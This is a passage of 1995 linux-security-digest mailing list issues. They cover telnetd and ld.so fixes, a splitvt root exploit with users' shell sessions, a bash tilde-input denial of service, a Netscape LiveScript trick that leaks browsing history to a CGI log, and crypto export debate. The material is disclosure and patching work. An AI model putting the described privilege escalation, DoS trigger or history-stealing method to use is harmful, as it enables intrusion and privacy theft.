INFORMATION: Some official fixes addressed the problem by replacing the telnet daemon with the one that does not allow certain environment variables to be passed. Unfortunately, this solution has its own drawbacks. It is recommended that in addition to installing the distribution specific patch system administrator performs an upgrade ld.so to ld.so version 1.7.11 which ignores alternative shared libraries for setuid or setgid programs. ftp://ftp.ods.com/pub/linux/ld.so-1.7.11.tar.gz ftp://bach.cis.temple.edu/pub/Linux/security/ld.so-1.7.11.tar.gz ftp://linux.nrao.edu/pub/security/ld.so/ld.so-1.7.11.tar.gz Please verify MD5 hash of the file prior to installing it. e25b2f00783cd9eaea4f27edf2fb4694 ld.so-1.7.11.tar.gz CREDITS: We appreciate the help of the distribution maintainers who provided us with the information: Marc R. Ewing Patrick J. Volkerding Peter Tobias Alan Cox David Engel - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMMS1IIxFUz2t8+6VAQFoGQP9EkTdruM7SZBF0UHmxvKwdD+bvOSFsP4S /DpoHi1w4TjZ9odbpbVHPp5UUKkslYIw+EDF1/XblqmMfgl8palA4KxZ8Ll0D8nH veYkEHCPI8lZX3AFOTT/u5yvd3qjpTlbC5GSbVqj47ySWvEtCVzZ+79MTN+5jjq+ dPHk6mmpJb8= =qNfR - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Gordon Dewis Date: Mon, 4 Dec 1995 22:43:32 -0500 (EST) Subject: Re: CERT and wu-ftpd advisory On Sat, 2 Dec 1995, Jonathan A. Davis wrote: > CERT's first advisory concerning a "SITE EXEC" problem was part of > "CA-94:08.ftpd.vulnerabilities". It is not directly related to the > current security problem although some confusion (particularly with > respect to vulnerable wu-ftp versions) may have resulted from it. > > > ------------------------------snip-------------------------------- > > CA-94:08.ftpd.vulnerabilities 04/14/94 > This advisory addresses two vulnerabilities with some releases of > fptd and announces new versions and patches to correct these > problems. ftpd versions affected are wuarchive ftpd 2.0-2.3, > DECWRL ftpd versions prior to 5.93, and BSDI ftpd version 1.1 > prior to patch level 5. The vulnerabilities addressed are the > SITE EXEC and race condition vulnerabilities. > > ------------------------------snip-------------------------------- > > BTW, has anyone experienced an actual security breach due to this bug? > Thankfully, we were not affected. Or, (as happens so often with security > anyway) if we were, I don't know about it. ;-) With respect to the SITE EXEC hole, I am aware of one incident where this may have been one means of access to a site under attack. --G - -- Gordon Dewis | WWW Virtual Library Geography Section is now at: 4th year Geography Hons | http://www.icomos.org/WWW_VL_Geography.html Carleton University | NewForce.ca Sysadmin http://www.newforce.ca ------------------------------ From: root Date: Sun, 3 Dec 1995 22:02:32 -0700 (MST) Subject: Re: 'ypupdated' hole, system crackers. Introduction to Avalon Security Research ---------------------------------------- Avalon Security Research is a non-for-profit network and host based security research group. ASR is composed of three members with deep interests and substantial experience with network and host security. ASR is involved in a number of security related research projects and will on a sporadic basis be releasing our information. This will be in either the form of preventitive security software or exploit code. ASR is without doubt a strong advocate of full disclosure. As such all exploit code released will be fully functional. We feel no need at this point to justify our actions with a diatribe of pro-full disclosure sentiment as we feel this is an already a well debated issue. All and any releases from ASR come without *ANY IMPLIED OR EXPLICIT WARRANTY AND NOR DO THE AUTHORS ASSUME ANY RESPONSIBILITY FOR USE OF OR MISUSE OF ANY ASR RELEASES*. At this date there has been no set standard format for releases, this will be developed as needed. Any queries or responses to ASR can be sent to [email protected]. Also anyone interested in being added to the ASR mailing list may simply mail [email protected] w/ SUB ASR in the body. ASR Inception February 7, 1994 Members Josh D. Ben G. Alfred H. ------------------------------ From: Thierry Baron Date: Thu, 07 Dec 1995 11:52:06 -0500 Subject: Re: Avalon Release [mod: redirected to linux-security and quoting trimmed --okir] root wrote: > Affected Program: splitvt(1) > > Affected Operating Systems: Linux 2-3.X > > Exploitation Result: Local users can obtain superuser privelages. [...] chmod u-s /usr/bin/splitvt avoid this potential problem - -- Thierry | Thierry Baron /_/_/_/_/_/_/_/ _/_/_/_/ | Center for Intelligent Machines _/ _/ _/ | McConnell Engineering Building _/ _/_/_/_/_/ | 3480 University street _/ _/ _/ | Montreal,Qc,H3A 2A7 _/ _/ _/ | Canada _/ _/_/_/_/_/ | | Tel: (514) 398 8205 http://www.cim.mcgill.ca/~baron | Fax: (514) 398 7348 ------------------------------ From: Marek Michalkiewicz Date: Thu, 7 Dec 1995 15:48:23 +0100 (MET) Subject: Another telnetd security problem? To be sure telnetd is not vulnerable to environment attacks, I suggest to add one more check: environment variable names may not contain any embedded '=' characters. Below is a test program (it prints "IFS=bar" with libc-4.7.4 at least) and one line fix (against the unofficial Debian netstd-1.23-1 telnetd). Credits go to Sam Hartman who mentioned this problem in a message sent to bugtraq on Oct 31. Marek #include #include int main(void) { setenv("IFS=foo", "bar", 1); printf("IFS=%s\n", getenv("IFS")); return 0; } diff -urN telnetd.orig/state.c telnetd/state.c - --- telnetd.orig/state.c Mon Nov 6 12:56:21 1995 +++ telnetd/state.c Thu Dec 7 14:25:33 1995 @@ -1063,6 +1063,7 @@ strncmp(varp, "ELF_LD_", strlen("ELF_LD_")) && strncmp(varp, "AOUT_LD_", strlen("AOUT_LD_")) && strncmp(varp, "_RLD_", strlen("_RLD_")) && + !strchr(varp, '=') && strcmp(varp, "LIBPATH") && strcmp(varp, "ENV") && strcmp(varp, "IFS")) { ------------------------------ From: Baba Z Buehler Date: Thu, 07 Dec 1995 10:49:51 -0600 Subject: Re: Avalon Release root writes: > Affected Program: splitvt(1) > > Affected Operating Systems: Linux 2-3.X > > Exploitation Result: Local users can obtain superuser privelages. > > Bug Synopsis: A stack overflow exists via user defined unbounds checked > user supplied data sent to a sprintf(). > There is no Linux 2-3.X. It would be much more helpfull if you would list versions of the kernel, libc and program that were used to exploit the hole. If you're going to list version numbers on Linux distributions, at least name the distribution you're getting the number from. Thanks, - -- # Baba Z Buehler - 'Hackito Ergo Sum' # Beckman Institute Systems Services, Urbana Illinois # # I'm still learning to count backwards from infinity. # # PGP public key on WWW homepage and key servers (key id: C13D8EE1) # WWW: http://www.beckman.uiuc.edu/~baba/ ------------------------------ From: Avalon Security Research Date: Fri, 8 Dec 1995 20:11:20 -0700 (MST) Subject: Re: Avalon Release On Thu, 7 Dec 1995, Baba Z Buehler wrote: > There is no Linux 2-3.X. It would be much more helpfull if you would list My apoligies, it was in incorrectly numbered. > versions of the kernel, libc and program that were used to exploit the hole. This has nothing to do with libc. Moreover the program used to exploit the hole was in the very same release you replied to in case you somehow missed it. > If you're going to list version numbers on Linux distributions, at least name > the distribution you're getting the number from. It was supposed to be slackware. Although as far as I know this problem exists in RedHat as well. > > Thanks, Your quite welcome. ------------------------------ From: Razvan STANESCU Date: Sat, 9 Dec 1995 04:09:02 +0200 (EET) Subject: Re: Avalon Release - -----BEGIN PGP SIGNED MESSAGE----- On Thu, 7 Dec 1995, Baba Z Buehler wrote: > root writes: > > Affected Program: splitvt(1) > > > > Affected Operating Systems: Linux 2-3.X ^^^^^ > > Exploitation Result: Local users can obtain superuser privelages. > > > > Bug Synopsis: A stack overflow exists via user defined unbounds checked > > user supplied data sent to a sprintf(). > > > > There is no Linux 2-3.X. It would be much more helpfull if you would list ... agree > versions of the kernel, libc and program that were used to exploit the hole. Sorry, on my system that hack does not work. I have 1.2.13 compiled as ELF (patch available somewhere at ftp://ftp.pcnet.ro/pub/linux/), but compiling and running that hack, I got nothing but garbage, also `splitvt' told me domething about an illegal instruction, but I never didn't get UID==0. Here is my session - - ----------------------- tty11 nls01!pappy:~/> cc -o sp sp.c tty11 nls01!pappy:~/> ./sp bash: [ garbage ] bash$ ./sp bash: [ garbage ] bash$ splitvt Illegal instruction bash$ whoami pappy bash$ id uid=1000(pappy) gid=100(nls) bash$ cat /etc/shadow cat: /etc/shadow: Permission denied - - ------------------------ NB: The second time when I compiled `sp', there was no garbage... because of the moon :-) So, where is the bug? What should I have to do (if any)? Is the `bash' itself, or splitvt (or the kernel)? I have no "standard" distribution, I compiled all, as ELF starting with InfoMagic March 1995 (I used `debian', `slackare' and some GNU related ftp-s) Is this dependent on ELF or AOUT? (I run both, no room for compiling X*): ld.1.7.3, libc-5.0.9, libc-4.6.27 (aout). Thank you, >-- pappy ----------------- ------------------------------ | Razvan Stanescu | phone/fax: (+40) 1 6654292 | ----------------- ------------------------------ | email: [email protected], [email protected] | ------------------------------------------------ Win95 is not a virus; a virus does something. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMMjvt7HbtxtV5OZJAQGOSQH8Cc+m4Z8WiWlw4D13sdWvIQw0LkH0/Lpu mirvuo7ef3LgL/nvL+M39lJhOgbMCCQAqRLGIrwGTOz76nMDD+IUTg== =od+c - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V1 #50 *********************************** linux-security-digest/1995/v01.n051100664 1767 1767 34766 6065131130 16057 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #51 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 17 December 1995 Volume 01 : Number 051 Re: Avalon Release Possible denial of service attack Re: Avalon Release ypupdated hole Re: Possible denial of service attack Getting security tools into a mainstream distribution SECURITY: Announcing Splitvt 1.6.3 Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution ---------------------------------------------------------------------- From: Marc Ewing Date: Sat, 09 Dec 1995 22:24:14 -0500 Subject: Re: Avalon Release Avalon Security Research writes: > > If you're going to list version numbers on Linux distributions, at least na > me > > the distribution you're getting the number from. > It was supposed to be slackware. Although as far as I know this problem > exists in RedHat as well. There is no "splitvt" in Red Hat. - -Marc ------------------------------ From: Todd Day Date: Sun, 10 Dec 1995 14:09:00 -0800 Subject: Possible denial of service attack This concerns GNU bash, version 1.14.2(1), at least. Through accident, I've found that if you enter a twiddle (~) followed by about seven lines of non-space characters, BASH will consume all computing resources and start swapping like mad. My system went down the other day because there was something on the keyboard that caused tons of twiddles to be typed, then enter got pressed. It took about 10 minutes for me to switch to a virtual terminal, log in, and kill the bash shell on the other virtual terminal. Everything went back to normal after that. If you want to try this for yourself, I suggest you get a kill -9 ready on another virtual terminal first. This problem doesn't occur if you try this without the leading twiddle. I suspect the problem lays in the area of BASH that deals with twiddle dereferencing (perhaps it has a buffer that is being overwritten). Any user with a login account can use this to bring your system to its knees. Sorry if this has been covered (perhaps I have an old version of BASH), but I've not seen it before. - -todd- ------------------------------ From: Dave Airlie Extn 6250 Automation Date: Mon, 11 Dec 95 00:38:09 PST Subject: Re: Avalon Release I noticed on my system ( nearly all Slackware 3.0 ) that it does not all ways occur .. It seems to depend on your gid ?? skynet (airlied)% sp bash$ sp bash$ sec-splitvt Segmentation fault bash$ id uid=666(airlied) gid=23(sysadm) groups=23(sysadm), 25(xusers),27(recipies),100(users),204(shulgin),221(2proj),222(compsoc) But as another a/c skynet (1000020)% sp bash$ sp bash$ sp bash$ sec-splitvt bash# id uid=622(1000020) gid=100(users) euid=0(root) groups=100(users),222(compsoc) So if you think your system is not affected try using another a/c .. David Airlie, ( Any views herein are my own personal views and are not the views of my employer ) ------------------------------ From: [email protected] (Olaf Kirch) Date: Thu, 7 Dec 1995 00:00:13 +0100 (MET) Subject: ypupdated hole Greg Spigelberg wrote: > Whether or not a keyserv exists for Linux I still wouldn't discount > this hole because Linux still runs many ports of the BSD servers. Linux doesn't have a working set of `secure' RPC tools yet, fortunately. I ported most of the stuff from RPCSRC-4.00 once, and even wrote a small ypupdated replacement. Anyone interested in taking this any further please contact me. However, just installing the tools won't do you any good if you don't require all other sensitive RPC tools to use DES authentication, too, especially NFS. And that means changing the kernel code. Olaf ------------------------------ From: Pete Harlan Date: Tue, 12 Dec 1995 10:38:21 -0600 (CST) Subject: Re: Possible denial of service attack > This concerns GNU bash, version 1.14.2(1), at least. > > Through accident, I've found that if you enter a twiddle (~) followed > by about seven lines of non-space characters, BASH will consume all I can confirm that this happens with 1.14.2(1), and that it doesn't happen with 1.14.4(1). Thanks for finding this---I'd been wondering where those run-amok bashes were springing from... - --Pete Harlan [email protected] ------------------------------ From: [email protected] (Thomas =?ISO-8859-1?Q?K=F6nig?=) Date: Wed, 13 Dec 1995 01:47:54 +0100 (MET) Subject: Getting security tools into a mainstream distribution What's the best way of getting cryptographic tools such as ssh or pgp by default into a mainstream Linux distribution, given US export law? I'm particularly concerned with ssh, which should (IMHO) completely replace rlogin/rsh, unless a specific fallback to those old and insecure utilities is needed for compatibility with other systems. Are any major Linux distributions hosted outside the US? Could they be moved, for that reason? Other comments? - --=20 Thomas K=F6nig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: Sam Lantinga Date: Wed, 13 Dec 1995 17:56:56 PST Subject: SECURITY: Announcing Splitvt 1.6.3 [Mod: This is a followup to the initial alert on splitvt; it's an announcement from splitvt's author, reposted here from the bugtraq mailing list. Since it's a forward from another list, I've not PGP signed it myself. --Jeff] Announcing the newest version of splitvt! SECURITY ALERT!!! splitvt versions lower than 1.6.3 are known to have a security hole allowing a user to gain ROOT access on some systems! If you have a version lower than 1.6.3 _please_ remove the set-uid bit on your current version, and upgrade to the newer version as soon as possible. ("splitvt -version" will tell you what version you are running) The set-uid bit is only for updating the utmp database and for changing ownership of its pseudo-terminals. It is not necessary for splitvt's operation. The latest version is available via anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. The output of md5sum on the TAR file splitvt-1.6.3.tar is: eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar What it is: Splitvt is a program that splits any vt100 compatible screen into two - an upper and lower window in which you can run two programs at the same time. Splitvt differs from screen in that while screen gives you multiple virtual screens, splitvt splits your screen into two fully visible windows. You can even use splitvt with screen to provide multiple split screens. This can be very handy when running over a modem, or for developing client-server applications. What can I use it for? Well, at this time, I am aware of several ways in which people are using splitvt. Some people like to use it over the modem to allow them more than one window at a time, others like to use it in xterms because they prefer having everything on the screen at once, and some people are using it in conjunction with the -rcfile option to automate system administration tasks. If you are using splitvt in a new and unusual way, I'd like to hear about it! Direct all comments to [email protected] Where can I get it? Splitvt is available for anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. You can also get it from sunsite.unc.edu in /pub/Linux/Incoming now, and will hopefully to be moved to /pub/Linux/utils/terminal. The file is splitvt-1.6.3.tgz and it is in tarred and gzipped format. What's new? Lots of stuff. :) Here is the list of things from the CHANGES file: Version 1.6.3 Patched some security holes: fixed sprintf overflow in parserc.c fixed env label overflow in parserc.c fixed env variable expansion overflow added read access check in parserc.c added chdir() access check in parserc.c fixed sprintf overflow in vtmouse.c Version 1.6.2 Fixed a bug in vt_showscreen() Fixed separator redisplay in vt_prompt() Added the ANNOUNCE file Added a "cd" command to the startup file Added -t option to change xterm title xterm title is reset, if possible, at exit Added xterm drag-n-drop of separator bar Speeded up separator bar movement (broken) Fixed cut-paste highlighting (broken) Integrated cut-paste with X selection (xcb) Fixed job control for FreeBSD (thanks to Quang Ngo) Fixed bug in cursor keys (showed up in vi) - ---- What's planned? I want to beef up the startup file syntax so that you can specify the format of the "status bar", or window divider, and I plan to rewrite the startup file parser so that it allows you to use more flexible and powerful startup scripts. I am also toying with the idea of cut-paste "screen" style, and a window history that you can scroll back through. I have cut-paste partially working. Other things on the pot are cleaning up dead windows, dynamically starting new windows, etc... If you have any wishes, just let me know at [email protected], and I'll try to include them in future releases of splitvt. I'll try to avoid feeping creaturism, but a few bells and whistles would be nice. :) Note: At the moment I have several other projects, and have this one on unspecified hold. This release was mainly to fix some security holes. Will it run on my system? Well, if you run a UNIX that has pseudo-tty support, chances are that splitvt will work on your system. Splitvt has been ported to all of the "standard" unices, and also to a few oddball unices, such as AIX, NewsOS, MP-RAS, and NeXT. Well, that about wraps it up. I hope you enjoy this software, originally conceived by Dave Ljung and created by yours truly. Enjoy! -Sam Lantinga ([email protected]) ------------------------------ From: Matt Zimmerman Date: Thu, 14 Dec 1995 10:39:19 -0500 (EST) Subject: Re: Getting security tools into a mainstream distribution On Wed, 13 Dec 1995, Thomas =?ISO-8859-1?Q?K=F6nig?= wrote: > What's the best way of getting cryptographic tools such as ssh or > pgp by default into a mainstream Linux distribution, given US > export law? >From what I understand, it would be a bad idea. > Are any major Linux distributions hosted outside the US? Could they > be moved, for that reason? Other comments? If you're asking if they could be moved into the US, I don't think that's a solution. Including export-restricted materials would mean that it would be illegal to distribute them to other parts of the world, no? I'm not familiar with the origins of ssh...but if someone were to develop such a product outside of the US, it could be freely distributed. // Matt Zimmerman Chief of System Management NetRail, Inc. // [email protected] [email protected] // (703) 524-4800 [voice] (703) 524-4802 [data] (703) 534-5033 [fax] ------------------------------ From: Dave Stagner Date: Thu, 14 Dec 1995 10:06:18 -0600 Subject: Re: Getting security tools into a mainstream distribution [mod: quotung trimmed --okir] Thomas =3D?ISO-8859-1?Q?K=3DF6nig?=3D wrote: > What's the best way of getting cryptographic tools such as ssh or > pgp by default into a mainstream Linux distribution, given US > export law? > = I see one major problem with this... any encryption software based on the RSA algorithm (most notably PGP) is subject to patent restrictions in the US entirely separate from export restrictions. Free software using RSA released in the US must legally be built using the RSAREF library (used by the US version of PGP distributed by MIT), while RSA-based software used overseas uses a clone of the RSAREF library (I can't remember its name offhand). Meanwhile, the RSAREF library itself is illegal to use outside the US (at least according to US law!) So we have two problems here. The first is that it would be illegal to export a Linux distribution with strong encryption from the US. The second is that it would be illegal to import a European-based distribution with strong encryption INTO the US, albiet for different reasons. The only answer I can see offhand is to maintain parallel development of a distribution, one for the US and one for the civilized world. The only difference would be the use of RSAREF in the US version and the RSAREF clone for the non-US version. And while technically legal, such an approach could lead to legal harassment for the maintainers in the US, either from the US govt or from Public Key Partners. = Another possibility would be to provide a "security" package for existing major distributions (i.e. Slackware, Debian) that users could download and add themselves. Maintaining matching sets of such a package would be easier, but it wouldn't provide the sort of blanket security that would be ideal. And one last, unrelated note... any security package for Linux distributions should PLEASE include Tripwire or some other checksum utility! I just have horrible visions of someone sneaking a hacked binary of ssh or PGP into a standard distribution... - -- = * David Stagner [email protected] * National Computer Systems vox 319 354 9200 ext 6884 * Operations Division fax 319 339 6555 I disclaim my employer and I'm sure they'd disclaim me too. ------------------------------ From: [email protected] (Remy Card) Date: Thu, 14 Dec 1995 01:30:33 +0100 (MET) Subject: Re: Getting security tools into a mainstream distribution >=20 > 2.4 PL25 ME8bWhat's the best way of getting cryptographic tools such as= ssh or > pgp by default into a mainstream Linux distribution, given US > export law? The FreeBSD project uses a special FTP server located in South Africa to distribute the international version of the cryptographic tools= ------------------------------ End of linux-security-digest V1 #51 *********************************** linux-security-digest/1995/v01.n052100664 1767 1767 70362 6065734032 16062 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #52 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 20 December 1995 Volume 01 : Number 052 Re: Getting security tools into a mainstream distribution Netscape "bug" (fwd) Re: Getting security tools into a mainstream distribution ADMIN: Posts on crypto stuff in Linux distributions Re: Netscape "bug" (fwd) Re: Getting security tools into a mainstream distribution Just wondering about timing and IPng. New beta release of the shadow suite (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 (fwd) ---------------------------------------------------------------------- From: [email protected] (Alan Cox) Date: Thu, 14 Dec 1995 10:18:57 +0000 (GMT) Subject: Re: Getting security tools into a mainstream distribution > I'm particularly concerned with ssh, which should (IMHO) completely > replace rlogin/rsh, unless a specific fallback to those old and > insecure utilities is needed for compatibility with other systems. > > Are any major Linux distributions hosted outside the US? Could they > be moved, for that reason? Other comments? The only obvious ones hosted outside the USA are the German ones like SuSE. I believe you'll find Germany has some crypto export law which is all a bit irrelevant as the EEC single market means you can export it to the UK under EEC law then anywher else. Best that someone puts together a 'free-world' package for Slackware and Redhat and puts it on some easy to get to ftp sites (eg funet). Also don't ask the developers of any distributions you do the packages for for their support - that might risk dropping them in something although its unlikely. Alan ------------------------------ From: "Joseph S. D. Yao" Date: Thu, 14 Dec 1995 15:33:25 -0500 Subject: Netscape "bug" (fwd) Found this in a somewhat odd place; haven't tested it. - Joe - ------- start of forwarded message ------- Newsgroups: alt.usenet.reposts Subject: Netscape "bug" Date: Wed, 6 Dec 1995 19:16:22 reposted from uk.misc where it was reposted from somewhere else - ------- Start of forwarded message ------- >From: Scott Weston >Subject: Netscape 2.0b2 allows for invasion of privacy Hi 'Net Dwellers, First off - I've posted this before (however not to this group) and only got a response from the Netscape Corp. They were glad I found the problem and said that they would fix it, however I feel that people should know about it. Also I would like people to help me spread this document around, i.e. if you know of a newsgroup (or people) that would find this interesting then please re-postit. On with the problem... I've recently got hold of the latest netscape, and was (at first) very excited about the new "LiveScripts" that it supports. If people don't yet know - these "LiveScripts" allow you to put small programs into your web page that is then executed by the Netscape client. There is no DIRECT way for these programs to send information back to the owner of the web page, however I was able to do it in a not-so-direct way. The "LiveScript" that I wrote extracts ALL the history of the current netscape window. By history I mean ALL the pages that you have visited to get to my page, it then generates a string of these and forces the Netscape client to load a URL that is a CGI script with the QUERY_STRING set to the users History. The CGI script then adds this information to a log file. Now if this hasn't quite CLICKED yet lets do a little example. Johnny Mnemonic starts up his newly acquired version of Netscape2.0b2 to start his daily "surf" session. First he decides to check his CD-NOW purchase and uses the handy Auto-Login URL. Then he decides to go to Lycos and do a search. In his search he find my page, which he decides to visit. Suddenly he is transported, not to my main page but to one of my CGI scripts, which in turn happens to have ALL the URL's he just been to in it. This means that in my log will be: - the URL to use to get into CD-NOW as Johnny Mnemonic, including username and password. - The exact search params he used on Lycos (i.e. exactly what he searched for) - plus any other places he happened to visit. I do this in a way that the user will KNOW that it has happened and will _hopefully_ email Netscape and tell them they are NOT impressed. But it would be EASY for me to change the CGI script so that the user is unaware that it has actually happened, unless they closely examine their URL history (in fact they'll probably just think its a netscape bug). If you're skeptical about this then do the test yourself. Get netscape 2.0b2 and do some normal surfing, and then go to Lycos. Do a search for: scotts car boot sale which should return the URL - http://www.tripleg.com.au/staff/scott Click on the URL and sit back an watch. First my main page will show up but a little while later you should be transported to a CGI bin script that will show you your URL history. I have tested this with both the Linux 2.0b2, and Solaris 2.0b2 versions and both have done the same thing. I would be interested in knowing if it happens for ALL versions of Netscape2.0b2. The log file does log the User Agent (i.e. the name of the platform you are using) so by simply going to the page I will know that your version of Netscape is also open to this form of attack. Currently I can find no way to configure Netscape2.0b2 to NOT run LiveScripts - and at the very least this option should be quickly added to the next version of netscape to be released. But a far better solution (IMHO) would be for netscape to pop up a window before running the LiveScript and let you know what the LiveScript wants access to, e.g. if it only wants to print out the current time then that's OK, but if it wants to read my history list and then transport me to a CGI script and add me to a logfile then maybe I would say NO. I think I've said enough.... If you've got any further questions, or want some more information just email me : [email protected] - -- Scott. - -- Dom\ The end of the world is in late Beta... no, hang on, \ Bill Gates just bought it. We're safe again. - ------- end of forwarded message ------- - -- Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: [email protected] Date: Fri, 15 Dec 1995 12:55:18 +0100 (MET) Subject: Re: Getting security tools into a mainstream distribution > > [mod: quotung trimmed --okir] > Thomas koenig wrote: [Thomas: I corrected your name.... Not many people would've recognized it in the form it was.....] > > What's the best way of getting cryptographic tools such as ssh or > > pgp by default into a mainstream Linux distribution, given US > > export law? > > = > > I see one major problem with this... any encryption software based on > the RSA algorithm (most notably PGP) is subject to patent restrictions > in the US entirely separate from export restrictions. Free software > using RSA released in the US must legally be built using the RSAREF > library (used by the US version of PGP distributed by MIT), while > RSA-based software used overseas uses a clone of the RSAREF library (I > can't remember its name offhand). Meanwhile, the RSAREF library itself > is illegal to use outside the US (at least according to US law!) How about the following: if someone outside the US makes a version of the software that through installation of a shared library becomes cryptographically enabled. This part of the software needs to be based outside the US, as this type of software is ITAR regulated. (Yes: Just because you can plug in a Crypto unit, it itself becomes cryptography, and thus regulated). What could be implemented should be capable of simultaneously supporting several different "plug-and-play" modules that handle the cryptographic side of the stuff. This allows non-us-based sites to distribute a version that contains a non-RSA module, which can be augmented with the RSAREF unit inside the US, and the clone outside the USA. > So we have two problems here. The first is that it would be illegal to > export a Linux distribution with strong encryption from the US. The > second is that it would be illegal to import a European-based > distribution with strong encryption INTO the US, albiet for different > reasons. This is not quite true. It's illegal to import RSA into the USA. This is different from "strong cryptography". This means that non-US-based distributions might provide non-RSA strong encryption by default. US-based distributions should mark the cryptographic section as "not for export". Come to think about it: As soon as someone makes a "strong encryption package" that installs cleanly onto e.g. "SlackWare 3.0", the "Slackware 3.0" distribution automatically becomes an ITAR regulated item. Not that Patrick can do anything to prevent this.... > Another possibility would be to provide a "security" package for > existing major distributions (i.e. Slackware, Debian) that users could > download and add themselves. Maintaining matching sets of such a > package would be easier, but it wouldn't provide the sort of blanket > security that would be ideal. In my opinion, the only thing that really works is to equip the major distributions with encryption by default. With a little care Linux will provide for a base of encryption capable machines allowing a quick expansion to other machines....... Roger. - -- *** War doesn't determine who's right ****** War determines who's left. *** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** ------------------------------ From: [email protected] Date: Mon, 18 Dec 1995 01:16:37 +0100 (MET) Subject: ADMIN: Posts on crypto stuff in Linux distributions Hi all, I've decided to cut down on the number of follow-ups to Thomas' post about including crypto software and other security-related stuff in Linux distributions. Therefore, I will not approve any more messages dealing exclusively with the political and legal implications of doing so. This topic has been hashed out a number of times on other mailing lists and on usenet, and the basic message is clear: you can't export crypto software from the US, and even adding the capabilities for plugging in a crypto module makes a distribution subject to export restrictions. Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: [email protected] Date: Mon, 18 Dec 1995 00:16:47 -0800 Subject: Re: Netscape "bug" (fwd) At 03:33 PM 12/14/95 -0500, you wrote: >Found this in a somewhat odd place; haven't tested it. - Joe > >------- start of forwarded message ------- >Newsgroups: alt.usenet.reposts >Subject: Netscape "bug" >Date: Wed, 6 Dec 1995 19:16:22 > >reposted from uk.misc where it was reposted from somewhere else This was fixed in 2.0b3. | Remember: Life is not always champagne. Sometimes it is REAL pain. | |"It's only half a keyserver. I had to split the | Disclaimer: | |other half with the government man." - R. Rococo | Ignore the man | |`finger -l [email protected]` for PGP 2.6.2 key | behind the keyboard.| | http://www.teleport.com/~alano/ | [email protected] | ------------------------------ From: [email protected] Date: Mon, 18 Dec 1995 15:26:02 -0600 Subject: Re: Getting security tools into a mainstream distribution [email protected] wrote: > > > > > I see one major problem with this... any encryption software based on > > the RSA algorithm (most notably PGP) is subject to patent restrictions > > in the US entirely separate from export restrictions. Free software > > using RSA released in the US must legally be built using the RSAREF > > library (used by the US version of PGP distributed by MIT), while > > RSA-based software used overseas uses a clone of the RSAREF library (I > > can't remember its name offhand). Meanwhile, the RSAREF library itself > > is illegal to use outside the US (at least according to US law!) > > How about the following: if someone outside the US makes a version > of the software that through installation of a shared library becomes > cryptographically enabled. This part of the software needs to be > based outside the US, as this type of software is ITAR regulated. > (Yes: Just because you can plug in a Crypto unit, it itself becomes > cryptography, and thus regulated). > > What could be implemented should be capable of simultaneously > supporting several different "plug-and-play" modules that handle the > cryptographic side of the stuff. This allows non-us-based sites to > distribute a version that contains a non-RSA module, which can be > augmented with the RSAREF unit inside the US, and the clone outside > the USA. I really like the idea of using shared libraries to handle crypto stuff (let's make sure the system is immune from the linker bug first!). Phil Zimmerman is already working on a very useful addition to our secure software systems. I talked to him about the future of PGP this summer, and he said the next release (3.0?) will not be a standalone program, but rather a library designed to be linked into other programs. This could drastically increase the amount of PGP-enabled software available, especially in the non-unix world. At the time I spoke to him (late August), PGP 3.0 development had been on hold for some time while he finished PGPfone, but hopefully he's back at it again. > > So we have two problems here. The first is that it would be illegal to > > export a Linux distribution with strong encryption from the US. The > > second is that it would be illegal to import a European-based > > distribution with strong encryption INTO the US, albiet for different > > reasons. > > This is not quite true. It's illegal to import RSA into the USA. > This is different from "strong cryptography". This means that > non-US-based distributions might provide non-RSA strong encryption > by default. You're absolutely correct. That's what I was trying to say, and I see in hindsight I didn't say it very well. Certainly, DES and other symmetric algorithms would work for both the US and Euro/free world versions. The only problem would be RSA. The only solution I can see would be using PGP-i outside the US, and RSAREF inside the US. We'd probably have to hack up PGP a little for the US version too, to dynamically link RSAREF and make sure the performance improvements PGP makes on RSAREF work okay. So it wouldn't be easy. But I don't see how we can really make a good "secure" Linux distribution without public key cryptography, so the RSA problem must be dealt with. > US-based distributions should mark the cryptographic section as "not > for export". Come to think about it: As soon as someone makes a > "strong encryption package" that installs cleanly onto e.g. > "SlackWare 3.0", the "Slackware 3.0" distribution automatically > becomes an ITAR regulated item. Not that Patrick can do anything to > prevent this.... This is something else to consider. We don't want to turn an uninvolved bystander like Patrick into an international arms smuggler without his consent! That's (yet another) really stupid consequence of ITAR. The easy solution would be to construct a plug-in replacement for the Slackware N series (the NS series?) with crypto-enhanced versions of the standard network utilities and PGP. But in practice, we either need a non-US-based distribution or someone with deep pockets and a lot of courage who is willing to get knocked around the way the govt has treated Phil Zimmerman. > In my opinion, the only thing that really works is to equip the major > distributions with encryption by default. With a little care Linux > will provide for a base of encryption capable machines allowing > a quick expansion to other machines....... > > Roger. Or more likely, a new distribution will be created (or an old one adapted) which would need to become a standard the way Slackware and Red Hat are standards now. Such a system would be designed with security in mind from the start... built-in shadowed passwords, PGP, ssh, Tripwire, Kerberos, the works. There's more to building a secure 